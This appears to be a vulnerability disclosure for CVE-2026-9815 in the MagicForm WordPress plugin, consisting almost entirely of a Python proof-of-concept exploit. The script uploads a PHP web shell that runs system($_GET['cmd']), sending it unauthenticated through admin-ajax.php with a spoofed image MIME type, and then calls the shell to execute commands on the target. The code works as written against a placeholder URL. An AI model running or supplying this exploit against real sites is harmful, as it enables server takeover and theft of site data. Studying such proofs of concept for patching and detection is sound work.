CVE-2026-9815：MagicForm WordPress插件未授权文件上传导致远程代码执行

# CVE-2026-9815 PoC - MagicForm WordPress Plugin Unauthenticated File Upload # Exploits missing file type validation when extension allowlist is empty import requests # Target configuration TARGET_URL = "http://target-wordpress-site.com" AJAX_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Step 1: Find a form with file upload field that has empty extension allowlist # This is typically discoverable by visiting pages with MagicForm forms # and inspecting the form configuration # Step 2: Craft malicious PHP payload disguised as an image PHP_PAYLOAD = b"<?php echo 'CVE-2026-9815-RCE'; system($_GET['cmd']); ?>" # Step 3: Upload the PHP file via the unauthenticated AJAX action files = { 'file': ('shell.php', PHP_PAYLOAD, 'image/jpeg') # Spoofed MIME type } data = { 'action': 'magicform_upload', # The AJAX action handler 'form_id': '1', # Target form ID 'field_id': 'file_upload_1' # File upload field with empty allowlist } # Send unauthenticated upload request response = requests.post(AJAX_ENDPOINT, files=files, data=data) if response.status_code == 200: # Step 4: Extract uploaded file path from response import json result = response.json() uploaded_path = result.get('data', {}).get('url', '') print(f"[+] File uploaded successfully: {uploaded_path}") # Step 5: Execute the uploaded PHP shell shell_url = f"{TARGET_URL}{uploaded_path}?cmd=id" shell_response = requests.get(shell_url) print(f"[+] Command output: {shell_response.text}") else: print(f"[-] Upload failed: {response.status_code}") # Note: The exact AJAX action name and parameters may vary # depending on the specific MagicForm version and form configuration. # Researchers should inspect the plugin source code or browser # network requests to identify the correct parameters.